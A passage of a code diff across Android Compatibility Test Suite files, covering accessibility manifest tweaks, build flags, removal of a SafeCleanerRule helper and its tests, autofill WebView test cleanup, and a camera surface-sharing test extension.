-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
index 2219ee7..e1b9706 100644
--- a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
@@ -14,7 +14,7 @@
      limitations under the License.
 -->
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accessibilityEventTypes="typeAllMask|"
+    android:accessibilityEventTypes="typeAllMask"
     android:accessibilityFeedbackType="feedbackHaptic"
     android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode"
     android:canRetrieveWindowContent="true"
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 029dc51..5214410 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -30,38 +30,38 @@
         <activity
             android:label="@string/accessibility_end_to_end_test_activity"
             android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_query_window_test_activity"
             android:name=".activities.AccessibilityWindowQueryActivity"
             android:supportsPictureInPicture="true"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_view_tree_reporting_test_activity"
             android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_text_traversal_test_activity"
             android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
-             android:screenOrientation="locked"/>
+             android:screenOrientation="portrait"/>
 
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:screenOrientation="locked" />
+            android:screenOrientation="portrait" />
 
         <activity
             android:label="@string/accessibility_soft_keyboard_modes_activity"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 7cb569c..2043c33 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -206,7 +206,7 @@
             public void run() {
                 // Perform a set focus action and check for success.
                 assertTrue(secondEditText.performAction(ACTION_ACCESSIBILITY_FOCUS));
-                
+
             }
         }, new UiAutomation.AccessibilityEventFilter() {
             @Override
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index e38ad2f..52dcb69 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -47,6 +47,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsAppTestStubs
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 11
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index fbc5c38..69505c3 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -27,6 +27,7 @@
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.app.cts" />
         <option name="runtime-hint" value="6m38s" />
         <option name="hidden-api-checks" value="false"/>
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 706be8f..69c6d76 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -47,4 +47,6 @@
 LOCAL_PACKAGE_NAME := CtsAppTestStubs
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
+LOCAL_USE_AAPT2 := true
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/app/res/values/styles.xml b/tests/app/app/res/values/styles.xml
index 9f62d79..4758000 100644
--- a/tests/app/app/res/values/styles.xml
+++ b/tests/app/app/res/values/styles.xml
@@ -125,8 +125,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index b2749c7..c9a9a38 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -245,7 +245,7 @@
         mInstrumentation.waitForIdleSync();
 
         assertEquals(View.GONE, decor.getVisibility());
-        assertTrue(d.isShowing());
+        assertFalse(d.isShowing());
 
         mActivityRule.runOnUiThread(new Runnable() {
             public void run() {
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 9694d17..139e7c12 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -100,52 +100,6 @@
     }
 
     @Test
-    public void setBitmapTest_1x1Pixel() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
-                    tmpWallpaper.getHeight());
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
-    public void setBitmapTest_1x1Pixel_FullscreenDesired() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            final Point displaySize = getScreenSize();
-            mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
     public void setResourceTest() {
         try {
             int which = WallpaperManager.FLAG_SYSTEM;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 577975f..69b749a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -34,6 +34,7 @@
 import android.widget.RemoteViews;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index 7c5f02e..2aba48e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -18,9 +18,12 @@
 
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
 
-import androidx.annotation.NonNull;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.SafeCleanerRule;
+
 import org.junit.AssumptionViolatedException;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
index accf6d9b..004928a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -94,7 +94,7 @@
         when(finder.findByAutofillId(id3)).thenReturn("c");
         when(finder.findByAutofillId(id4)).thenReturn("d");
 
-        assertThrows(ArrayIndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
 
         // fail one, fail all
         verify(template, never()).setCharSequence(eq(0), any(), any());
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
index c46a516..754d5e9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -21,9 +21,7 @@
 
 import android.content.Context;
 import android.util.AttributeSet;
-import android.util.Log;
 import android.util.SparseArray;
-import android.view.autofill.AutofillManager;
 import android.view.autofill.AutofillValue;
 import android.webkit.WebView;
 
@@ -35,7 +33,6 @@
  */
 public class MyWebView extends WebView {
 
-    private static final String TAG = "MyWebView";
     private FillExpectation mExpectation;
 
     public MyWebView(Context context) {
@@ -44,7 +41,6 @@
 
     public MyWebView(Context context, AttributeSet attrs) {
         super(context, attrs);
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
     }
 
     public void expectAutofill(String username, String password) {
@@ -99,10 +95,6 @@
         }
     }
 
-    boolean isAutofillEnabled() {
-        return getContext().getSystemService(AutofillManager.class).isEnabled();
-    }
-
     private class FillExpectation {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final String mExpectedUsername;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
deleted file mode 100644
index bf36138..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
+++ /dev/null
@@ -1,170 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.Callable;
-
-/**
- * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
- * the cleanup code don't hide exception thrown by the test body
- */
-// TODO: move to common CTS code
-public final class SafeCleanerRule implements TestRule {
-
-    private static final String TAG = "SafeCleanerRule";
-
-    private final List<Runnable> mCleaners = new ArrayList<>();
-    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
-    private final List<Throwable> mThrowables = new ArrayList<>();
-    private Dumper mDumper;
-
-    /**
-     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
-     */
-    public SafeCleanerRule run(@NonNull Runnable cleaner) {
-        mCleaners.add(cleaner);
-        return this;
-    }
-
-    /**
-     * Adds exceptions directly.
-     *
-     * <p>Typically used when exceptions were caught asychronously during the test execution.
-     */
-    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
-        mExtraThrowables.add(exceptions);
-        return this;
-    }
-
-    /**
-     * Sets a {@link Dumper} used to log errors.
-     */
-    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
-        mDumper = dumper;
-        return this;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                // First run the test
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    Log.w(TAG, "Adding exception from main test");
-                    mThrowables.add(t);
-                }
-
-                // Then the cleanup runners
-                for (Runnable runner : mCleaners) {
-                    try {
-                        runner.run();
-                    } catch (Throwable t) {
-                        Log.w(TAG, "Adding exception from cleaner");
-                        mThrowables.add(t);
-                    }
-                }
-
-                // And finally add the extra exceptions
-                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
-                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
-                    if (extraThrowables != null) {
-                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
-                        mThrowables.addAll(extraThrowables);
-                    }
-                }
-
-                // Finally, throw up!
-                if (mThrowables.isEmpty()) return;
-
-                final int numberExceptions = mThrowables.size();
-                if (numberExceptions == 1) {
-                    fail(description, mThrowables.get(0));
-                }
-                fail(description, new MultipleExceptions(mThrowables));
-            }
-
-        };
-    }
-
-    private void fail(Description description, Throwable t) throws Throwable {
-        if (mDumper != null) {
-            mDumper.dump(description.getDisplayName(), t);
-        }
-        throw t;
-    }
-
-    private static String toMesssage(List<Throwable> throwables) {
-        String msg = "D'OH!";
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                sw.write("Caught " + throwables.size() + " exceptions\n");
-                for (int i = 0; i < throwables.size(); i++) {
-                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
-                    final Throwable exception = throwables.get(i);
-                    exception.printStackTrace(pw);
-                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
-                }
-                msg = sw.toString();
-            }
-        } catch (IOException e) {
-            // ignore close() errors - should not happen...
-            Log.e(TAG, "Exception closing StringWriter: " + e);
-        }
-        return msg;
-    }
-
-    // VisibleForTesting
-    static class MultipleExceptions extends AssertionError {
-        private final List<Throwable> mThrowables;
-
-        private MultipleExceptions(List<Throwable> throwables) {
-            super(toMesssage(throwables));
-
-            this.mThrowables = throwables;
-        }
-
-        List<Throwable> getThrowables() {
-            return mThrowables;
-        }
-    }
-
-    /**
-     * Optional interface used to dump an error.
-     */
-    public interface Dumper {
-
-        /**
-         * Dumps an error.
-         */
-        void dump(@NonNull String testName, @NonNull Throwable t);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
deleted file mode 100644
index f41b001..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.expectThrows;
-
-import android.autofillservice.cts.SafeCleanerRule.Dumper;
-import android.platform.test.annotations.AppModeFull;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.List;
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull // Unit test
-public class SafeCleanerRuleTest {
-
-    private static class FailureStatement extends Statement {
-        private final Throwable mThrowable;
-
-        FailureStatement(Throwable t) {
-            mThrowable = t;
-        }
-
-        @Override
-        public void evaluate() throws Throwable {
-            throw mThrowable;
-        }
-    }
-
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
-
-    @Mock private Dumper mDumper;
-
-    // Use mocks for objects that don't throw any exception.
-    @Mock private Runnable mGoodGuyRunner1;
-    @Mock private Runnable mGoodGuyRunner2;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
-    @Mock private Statement mGoodGuyStatement;
-
-    @Test
-    public void testEmptyRule_testPass() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        rule.apply(mGoodGuyStatement, mDescription).evaluate();
-    }
-
-    @Test
-    public void testEmptyRule_testFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-    }
-
-    @Test
-    public void testEmptyRule_testFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testOnlyTestFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testOnlyTestFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .run(() -> { throw mRuntimeException; })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .run(() -> {
-                    throw mRuntimeException;
-                })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(() -> {
-                    return ImmutableList.of(mRuntimeException);
-                })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(() -> { return ImmutableList.of(mRuntimeException); })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> {
-                    return ImmutableList.of(extra3);
-                })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> {
-                    throw error2;
-                });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> { return ImmutableList.of(extra3); })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> { throw error2; });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index e51bbfc..08d4c70 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -17,8 +17,6 @@
 
 import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.content.Context;
 import android.os.Bundle;
 import android.os.SystemClock;
@@ -114,7 +112,6 @@
 
             });
             mWebView.loadUrl(FAKE_URL);
-            assertThat(mWebView.isAutofillEnabled()).isTrue();
         });
 
         // Wait until it's loaded.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7149899..8623967 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -29,7 +29,6 @@
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
 import android.view.autofill.AutofillManager;
@@ -44,27 +43,13 @@
 @AppModeFull(reason = "Flaky in instant mode")
 public class WebViewActivityTest extends AutoFillServiceTestCase {
 
-    private static final String TAG = "WebViewActivityTest";
-
     // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
     // set using accessibility.
     private static final boolean INJECT_EVENTS = true;
 
     @Rule
     public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
-            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
-    // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-    // disable autofill for optimization when it returns false, and unfortunately the value
-    // returned by that method does not change when the service is enabled / disabled, so we
-    // need to start enable the service before launching the activity.
-    // Once that's fixed, remove this overridden method.
-                @Override
-                protected void beforeActivityLaunched() {
-                    super.beforeActivityLaunched();
-                    Log.i(TAG, "Setting service before launching the activity");
-                    enableService();
-                }
-            };
+            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class);
 
     private WebViewActivity mActivity;
 
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 2cd4f64..7d71676 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -47,4 +47,7 @@
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_shared
 
+# Remove when libjpeg_static_ndk is XOM compatible.
+LOCAL_XOM := false
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 9bdb898..7e18b98 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -54,7 +54,7 @@
     private static final String TAG = "MultiViewTest";
     private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
     private final static long PREVIEW_TIME_MS = 2000;
-    private final static int NUM_SURFACE_SWITCHES = 10;
+    private final static int NUM_SURFACE_SWITCHES = 30;
     private final static int IMG_READER_COUNT = 2;
     private final static int YUV_IMG_READER_COUNT = 3;
 
@@ -508,7 +508,9 @@
                 if ((yuvFormat != -1) && (frameSize.getWidth() > 0) &&
                         (frameSize.getHeight() > 0)) {
                     testSharedSurfaceYUVImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES, yuvFormat,
-                            frameSize);
+                            frameSize, /*blockMaxAcquired*/ false);
+                    testSharedSurfaceYUVImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES, yuvFormat,
+                            frameSize, /*blockMaxAcquired*/ true);
                 } else {
                     Log.i(TAG, "Camera " + cameraId +
                             " does not support YUV outputs, skipping");
@@ -521,7 +523,7 @@
     }
 
     private void testSharedSurfaceYUVImageReaderSwitch(String cameraId, int switchCount, int format,
-            Size frameSize) throws Exception {
+            Size frameSize, boolean blockMaxAcquired) throws Exception {
 
         assertTrue("YUV_IMG_READER_COUNT should be equal or greater than 2",
                 (YUV_IMG_READER_COUNT >= 2));
@@ -552,6 +554,11 @@
         // Test YUV ImageReader surface sharing. The first ImageReader will
         // always be part of the capture request, the rest will switch on each
         // iteration.
+        // If 'blockMaxAcquired' is enabled, the first image reader will acquire
+        // the maximum possible amount of buffers and also block a few more.
+        int maxAcquiredImages = imageReaders[0].getMaxImages();
+        int acquiredCount = 0;
+        Image[] acquiredImages = new Image[maxAcquiredImages];
         for (int j = 0; j < switchCount; j++) {
